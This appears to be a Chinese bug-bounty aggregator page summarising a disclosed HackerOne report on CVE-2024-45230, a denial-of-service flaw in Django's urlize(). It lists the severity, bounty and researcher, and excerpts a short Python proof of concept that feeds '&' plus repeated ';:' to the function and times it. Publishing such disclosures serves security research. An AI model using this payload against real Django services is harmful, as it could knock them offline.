POJIA破甲
地图 / CVE-2024-45230 - Potential denial-of-service in django.utils.html.urlize() (Another pattern)

CVE-2024-45230 - Potential denial-of-service in django.utils.html.urlize() (Another pattern)

拒绝服务 / Allocation of Resources Without Limits or Throttling / #2881639

厂商
Internet Bug Bounty
严重程度
低危
赏金
$2,162
弱点
Allocation of Resources Without Limits or Throttling
研究员
@mprogrammer
披露日期
2025-02-05
资产
https://github.com/django
CVE
CVE-2024-45230

该报告还没有中文解读。

原文摘录

摘自原文(1116 字符中的一小部分)
This one is similar to https://hackerone.com/reports/2795558, but I found the DoS vulnerability by putting an ampersand character beside repeated `;:` characters. This is the PoC that I used:
原文中的代码
import django.utils.html
from time import time

print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
    start = time()
    pattern = ';:'
    PAYLOAD = '&' + pattern * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start) …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @mprogrammer · 版权归作者与 Internet Bug Bounty 所有

同类报告

CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()Internet Bug Bounty · 2024-11-30 · $2,162High resource consumption by insufficient sanitization of forum threads paginationFlickr · 2025-11-24 · $479Memory Leak in libcurl via Location Header Handling (CWE-770)curl · 2025-05-22Security check upcurl · 2025-07-24HTTP/3 paused transfer buffers incoming data without bound up to ~1 GiBcurl · 2026-05-19Unbounded memory growth with session handling in TLSv1.3Internet Bug Bounty · 2024-09-22 · $497